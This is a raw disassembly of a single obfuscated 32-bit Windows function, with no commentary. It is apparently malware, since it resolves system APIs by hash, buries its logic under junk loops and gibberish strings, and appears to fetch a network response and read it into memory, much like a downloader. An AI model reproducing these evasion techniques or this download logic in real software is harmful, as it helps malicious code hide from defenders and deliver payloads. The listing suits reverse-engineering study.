mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x4e8], 0xa87187d7
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 4
jl 0x10027c30
mov dword [ebp - 0x18], ebx
jmp 0x10027de0
mov dword [ebp - 0x14], ebx
jmp 0x10027c65
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x178], 0xffffffff
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 2
jl 0x10027c54
mov eax, dword [ebp - 0x174]
mov eax, dword [ebp - 0x174]
neg eax
je 0x10027c7e
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
xor ecx, ecx
mov eax, dword [ebp - 0x174]
mov eax, dword [ebp - 0x174]
cmp eax, 1
setle cl
xor edx, edx
mov dword [ebp - 0x28], ecx
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
cmp ecx, eax
setge dl
xor eax, eax
cmp edx, dword [ebp - 0x28]
setge al
xor ecx, ecx
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x174]
cmp dword [ebp - 0x28], eax
mov eax, 0xf394a2a4
setle cl
cmp eax, ecx
sbb eax, eax
neg eax
cmp eax, 0x3cfcb8f
jg 0x10027d9a
push 3
lea ecx, [ebp - 0x2b4]
call fcn.1000f33d
push 3
lea ecx, [ebp - 0x344]
mov byte [ebp - 4], 0x17
call fcn.1000f33d
push ecx
push ebx
push ecx
push 0xb9a
push 0x17ce
push ecx
lea edx, [ebp - 0x4c]
mov byte [ebp - 4], 0x18
lea ecx, [ebp - 0x2b4]
call fcn.100268a8
add esp, 0x18
mov dword [ebp - 0x4c], ebx
jmp 0x10027d2d
mov ecx, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x344]
mov dword [eax + ecx*4], 0xd7c1543f
inc dword [ebp - 0x4c]
cmp dword [ebp - 0x4c], 3
jl 0x10027d1a
mov eax, dword [ebp - 0x2b4]
mov dword [eax + 8], 1
mov dword [ebp - 0x28], 0xf1ba1372
mov dword [ebp - 0x28], 0xf6a1241a
inc dword [ebp - 0x38c]
dec dword [eax + 8]
jns 0x10027d40
mov dword [ebp - 0x14], 2
cmp dword [ebp - 0x14], ebx
jl 0x10027d7e
push ecx
push 0x35c4
mov edx, 0x3156
mov cl, 1
call fcn.1002600e
dec dword [ebp - 0x14]
pop ecx
pop ecx
jns 0x10027d65
lea ecx, [ebp - 0x344]
call fcn.1000f3c0
lea ecx, [ebp - 0x2b4]
mov byte [ebp - 4], 0x10
call fcn.1000f3c0
jmp 0x10027dbb
push 1
push 0x1856
push ebx
push 0x7ced
push ebx
mov edx, 0x7d1c
mov byte [ebp - 0x3d], bl
lea ecx, [ebp - 0x3d]
call fcn.100260c4
add esp, 0x14
push 1
push 0xc93
push 1
push 0x2933
push 1
mov edx, 0x28e9
mov ecx, 0x2c73
call fcn.100260c4
add esp, 0x14
dec dword [ebp - 0x18]
cmp dword [ebp - 0x18], 0xffffffed
jge 0x10027c4f
xor eax, eax
mov dword [ebp - 0x2b8], 7
mov word [ebp - 0x2cc], ax
lea ecx, [ebp - 0x2cc]
lea eax, [ebp - 0x478]
mov dword [ebp - 0x2bc], ebx
push eax
call fcn.1001f29f
mov byte [ebp - 4], 0x19
xor ecx, ecx
mov dword [ebp - 0x18], ebx
inc ecx
mov dword [ebp - 0x14], 0xffffffff
mov dword [ebp - 0x28], 0x2f92e6c0
mov dword [ebp - 0x14], ebx
jmp 0x10027e40
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x3c], 0x24f0
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ecx
jl 0x10027e32
push ecx
push 0x3aa6
push ecx
push 0x1a3e
push 0x6d2d
push 0x4b56
push ecx
lea eax, [ebp - 0x40]
mov byte [ebp - 0x40], bl
push 0x15a2
push eax
mov edx, 0x7c6e
mov ecx, 0x4aaa
call fcn.1002626e
add esp, 0x24
mov dword [ebp - 0x18], ebx
cmp dword [ebp - 0x18], ebx
jl 0x1002800a
mov dword [ebp - 0x1c], 0x773672d7
mov eax, dword [ebp - 0x18]
cmp dword [ebp + eax*4 - 0x3c], ebx
jne 0x1002800a
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp + eax*4 - 0x3c]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp + eax*4 - 0x3c]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp + eax*4 - 0x3c]
cmp eax, dword [ebp - 0x1c]
jle 0x10027fde
mov dword [ebp - 0x24], 0x326874be
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x18]
cmp dword [ebp + eax*4 - 0x3c], 6
jae 0x10027ee2
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp + eax*4 - 0x3c]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x24]
xor edx, edx
mov eax, dword [ebp - 0x3c]
cmp ecx, eax
mov eax, dword [ebp - 0x24]
setne dl
xor ecx, ecx
cmp edx, eax
setne cl
imul ecx, dword [ebp - 0x24]
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x14], ebx
cmp dword [ebp - 0x14], ebx
jl 0x10028002
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp + eax*4 - 0x3c]
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x3c], ecx
mov dword [ebp - 0x24], ebx
cmp dword [ebp - 0x24], ebx
jg 0x10027fd6
mov byte [ebp - 0x1d], bl
cmp byte [ebp - 0x1d], 0
je 0x10027fbe
push 1
call fcn.100266ce
mov dword [ebp - 0x1c], 0x20d
cmp dword [ebp - 0x1c], 0x522
pop ecx
jle 0x10027f7a
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov esi, ebx
mov edi, ebx
mov eax, edi
mov ecx, 0x10077318
and eax, esi
cdq
push edx
push eax
call fcn.1000f05b
inc edi
cmp edi, 0x244
jl 0x10027f57
inc esi
cmp esi, 0x1258
jl 0x10027f55
mov byte [ebp - 4], 0x1a
cmp dword [ebp - 0x1c], 0xda
jge 0x10027fb7
mov edx, str.pdsiha_fudhivj_wnhimqyk_jjgzw_mocee_zklzbs_hfnpzws
mov ecx, 0x10077318
call fcn.10013928
jmp 0x10027fb7
mov dword [ebp - 4], 0x19
push ecx
mov byte [ebp - 0x42], bl
lea edx, [ebp - 0x42]
push 1
call fcn.1002668e
inc dword [ebp - 0x24]
pop ecx
pop ecx
jmp 0x10027f1d
dec dword [ebp - 0x14]
jmp 0x10027f03
push 1
push 0x1706
push ecx
push ecx
lea eax, [ebp - 0x1c4]
mov dword [ebp - 0x1c4], 0xfffffff6
push eax
push ecx
push ecx
call fcn.100257a7
add esp, 0x1c
dec dword [ebp - 0x18]
jmp 0x10027e7d
push 0x13
pop ecx
xor eax, eax
lea edi, [ebp - 0x478]
rep stosd dword es:[edi], eax
cmp dword [ebp - 0x288], 8
lea ecx, [ebp - 0x3b8]
push ecx
mov esi, 0x14f01
stosw word es:[edi], ax
lea eax, [ebp - 0x29c]
cmovae eax, dword [ebp - 0x29c]
push eax
push 0x1c821
push esi
call fcn.10038f05
pop ecx
pop ecx
call eax
test eax, eax
jne 0x1002857d
cmp dword [ebp - 0x2b8], 8
lea ecx, [ebp - 0x3a0]
push ecx
lea eax, [ebp - 0x2cc]
cmovae eax, dword [ebp - 0x2cc]
push eax
push 0x1c821
push esi
call fcn.10038f05
pop ecx
pop ecx
call eax
test eax, eax
jne 0x1002857d
lea eax, [ebp - 0x38]
push eax
lea eax, [ebp - 0x3b8]
push eax
push 3
push ebx
lea eax, [ebp - 0x3a0]
push eax
push 0x1c821
push 0x1aba1
call fcn.10038f05
pop ecx
pop ecx
call eax
test eax, eax
js 0x1002857d
cmp dword [ebp - 0x38], 0
je 0x1002857d
mov dword [ebp - 0x14], 0x66d6
cmp dword [ebp - 0x14], 0x67a9
jle 0x10028144
mov edx, ebx
mov dword [ebp - 0x34], ebx
mov edi, ebx
mov esi, ebx
mov ecx, ebx
mov dword [ebp - 0x50], 0x6d76
mov dword [ebp - 0x1c], ecx
mov eax, edi
shl eax, cl
lea ecx, [ebp - 0x410]
and eax, edx
cdq
push edx
push eax
call fcn.10001aa4
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x10028101
mov eax, dword [eax]
push eax
call fcn.10043d63
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x410]
call fcn.1000fb16
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ebp - 0x34]
add ecx, esi
dec dword [ebp - 0x50]
mov dword [ebp - 0x1c], ecx
jne 0x100280e3
inc esi
cmp esi, 0x3d9c
jl 0x100280d7
inc edi
cmp edi, 0x4eb6
jl 0x100280d5
inc edx
mov dword [ebp - 0x34], edx
cmp edx, 0x5d69
jl 0x100280d3
push 1
push ecx
push ecx
mov edx, 0x7089
lea ecx, [ebp - 0x370]
call fcn.1002670e
add esp, 0xc
cmp dword [ebp - 0x14], 0x6370
jge 0x1002816f
push str.uuz_zcf_rlsx
call fcn.10043d63
pop ecx
mov dword [ebp - 4], 0x19
xor eax, eax
push 0x47
mov word [ebp - 0x368], ax
mov ecx, ebx
pop eax
push 2
mov byte [ebp - 0x64], bl
mov dword [ebp - 0x63], 0x89a903b4
mov dword [ebp - 0x5f], 0x222019b
mov byte [ebp - 0x5b], 0x11
mov word [ebp - 0x160], ax
pop esi
mov dword [ebp - 0x158], ecx
cmp esi, 2
jne 0x100281bb
push 4
pop ecx
push ecx
mov dword [ebp - 0x158], ecx
pop esi
jmp 0x10028205
movzx edx, byte [ebp + esi - 0x63]
lea eax, [ebp - 0x64]
sub eax, ecx
movzx eax, byte [eax + esi - 2]
movzx ecx, word [ebp + eax*2 - 0x160]
mov eax, ecx
and eax, edx
add eax, eax
sub ecx, eax
movzx eax, byte [ebp + esi - 0x64]
add ecx, edx
mov edx, 0x28a0
push ecx
push ecx
mov word [ebp + eax*2 - 0x160], cx
lea ecx, [ebp - 0x158]
push ebx
call fcn.10025e23
mov ecx, dword [ebp - 0x158]
add esp, 0xc
add esi, 2
cmp esi, 0xa
jb 0x100281a9
xor eax, eax
mov dword [ebp - 0x194], 7
mov word [ebp - 0x15a], ax
lea ecx, [ebp - 0x1a8]
mov word [ebp - 0x1a8], ax
lea eax, [ebp - 0x160]
push eax
mov dword [ebp - 0x198], ebx
call fcn.1001f29f
mov byte [ebp - 4], 0x1e
lea ecx, [ebp - 0x1a8]
cmp dword [ebp - 0x194], 8
mov eax, dword [ebp - 0x198]
cmovae ecx, dword [ebp - 0x1a8]
push dword [ebp - 0x184]
mov dword [ebp - 0x160], ebx
mov dword [ebp - 0x15c], ebx
lea eax, [ecx + eax*2]
mov dword [ebp - 0x204], ebx
lea ecx, [ebp - 0x1a8]
mov dword [ebp - 0x200], ebx
cmovae ecx, dword [ebp - 0x1a8]
push eax
push ecx
lea ecx, [ebp - 0x204]
mov dword [ebp - 0x1fc], ebx
call fcn.100253ae
push ecx
lea eax, [ebp - 0x204]
mov byte [ebp - 4], 0x1f
push eax
push ecx
push ecx
push 1
mov edx, 0x753f
call fcn.100267d5
mov edx, dword [ebp - 0x54]
add esp, 0x14
cmp dword [edx + 0x14], 8
jb 0x100282c8
mov ecx, dword [edx]
jmp 0x100282ca
mov ecx, edx
cmp dword [edx + 0x14], 8
mov eax, dword [edx + 0x10]
lea eax, [ecx + eax*2]
jb 0x100282d8
mov edx, dword [edx]
push dword [ebp - 0x184]
lea ecx, [ebp - 0x1b4]
mov dword [ebp - 0x1b4], ebx
push eax
push edx
mov dword [ebp - 0x1b0], ebx
mov dword [ebp - 0x1ac], ebx
call fcn.100253ae
push ebx
push ecx
push 0x126e
mov edx, 0x8d5
mov byte [ebp - 4], 0x20
lea ecx, [ebp - 0x1b4]
call fcn.10025d24
mov eax, dword [ebp - 0x38]
lea esi, [ebp - 0x2f0]
cmp dword [ebp - 0x194], 8
lea edx, [ebp - 0x1a8]
cmovae edx, dword [ebp - 0x1a8]
mov ecx, dword [eax]
push ecx
mov edi, esp
sub esp, 0x10
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov edi, esp
lea esi, [ebp - 0x2f0]
sub esp, 0x10
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov edi, esp
lea esi, [ebp - 0x370]
push dword [ebp - 0x1b4]
push edx
movsd dword es:[edi], dword [esi]
push eax
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
call dword [ecx + 0x1c]
test eax, eax
js 0x1002853e
mov esi, dword [ebp - 0x16c]
mov cl, 1
mov dword [ebp - 0x14c], ebx
cmp esi, dword [ebp - 0x168]
je 0x100283cf
add esi, 0x18
test cl, cl
je 0x100283b7
cmp dword [esi + 0x14], 8
jb 0x10028396
mov edi, dword [esi]
jmp 0x10028398
mov edi, esi
cmp dword [esi - 4], 8
jb 0x100283a3
mov edx, dword [esi - 0x18]
jmp 0x100283a6
lea edx, [esi - 0x18]
mov eax, dword [ebp - 0x38]
push edi
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x20]
mov cl, 1
test eax, eax
jns 0x100283b9
mov cl, bl
add esi, 0x30
lea eax, [esi - 0x18]
cmp eax, dword [ebp - 0x168]
jne 0x10028388
test cl, cl
je 0x1002853e
mov eax, dword [ebp - 0x38]
lea esi, [ebp - 0x2f0]
sub esp, 0x10
mov edi, esp
mov ecx, dword [eax]
push eax
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
call dword [ecx + 0x2c]
test eax, eax
js 0x1002853e
mov eax, dword [ebp - 0x38]
lea edx, [ebp - 0x14c]
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x34]
test eax, eax
js 0x1002853e
cmp dword [ebp - 0x14c], 0x130
je 0x10028423
cmp dword [ebp - 0x14c], 0xc8
jne 0x1002853e
mov eax, dword [ebp - 0x38]
lea edx, [ebp - 0x3c8]
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x48]
test eax, eax
js 0x1002853e
mov esi, dword [ebp - 0x3c0]
mov dword [ebp - 0x180], esi
test esi, esi
je 0x1002853e
mov eax, dword [esi]
lea ecx, [ebp - 0x530]
push 1
push ecx
push esi
call dword [eax + 0x30]
test eax, eax
js 0x10028516
mov eax, dword [ebp - 0x528]
mov edx, 0x61a5
push ecx
push 1
push ecx
mov dword [ebp - 0x70], eax
lea eax, [ebp - 0x70]
push eax
lea eax, [ebp - 0x190]
push eax
push ecx
mov ecx, 0x7fb5
call fcn.100268a8
mov edi, ebx
mov dword [ebp - 0x148], ebx
mov ebx, dword [ebp - 0x70]
add esp, 0x18
mov dword [ebp - 0x170], edi
mov eax, dword [ebp - 0x190]
lea edx, [ebp - 0x148]
mov ecx, dword [esi]
add eax, edi
push edx
push ebx
push eax
push esi
call dword [ecx + 0xc]
test eax, eax
js 0x100284eb
push 1
lea eax, [ebp - 0x148]
push eax
push 0x882
push ecx
lea ecx, [ebp - 0x170]
call fcn.100268f8
sub ebx, dword [ebp - 0x148]
add esp, 0x10
mov edi, dword [ebp - 0x170]
cmp edi, dword [ebp - 0x70]
jb 0x100284a2
push 0
pop ebx
cmp edi, dword [ebp - 0x70]
je 0x10028516
push ecx
push 0x1792
lea eax, [ebp - 0x190]
push eax
push ecx
push ecx
push 1
push 0x63d0
push 0x5d52
call fcn.100258df
add esp, 0x20
push 1
push ebx
lea eax, [ebp - 0x180]
mov edx, 0x18c8
push eax
push 1
push 0x433
push 0x6b9d
mov ecx, 0x2c4a
call fcn.10025a48
add esp, 0x18
push 0x4443
push 1
lea eax, [ebp - 0x38]
push eax
push ecx
call fcn.1002693f
add esp, 0x10
mov dword [ebp - 0x38], ebx
lea ecx, [ebp - 0x1b4]
call fcn.1001010c
lea ecx, [ebp - 0x204]
call fcn.1001010c
push ebx
push 1
lea ecx, [ebp - 0x1a8]
mov byte [ebp - 4], 0x19
call fcn.1000fe44
push 0x1c821
push 0x139a1
call fcn.10038f05
pop ecx
pop ecx
call eax
mov ecx, dword [ebp - 0x1e8]
lea eax, [ebp - 0x190]
push eax
call fcn.10028727
push ebx
push 1
lea ecx, [ebp - 0x2cc]
call fcn.1000fe44
push ebx
push 1
lea ecx, [ebp - 0x29c]
call fcn.1000fe44
lea ecx, [ebp - 0x16c]
call fcn.10024bb1
lea ecx, [ebp - 0x190]
call fcn.10024f2c
lea ecx, [ebp + 8]
call fcn.10024bb1
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret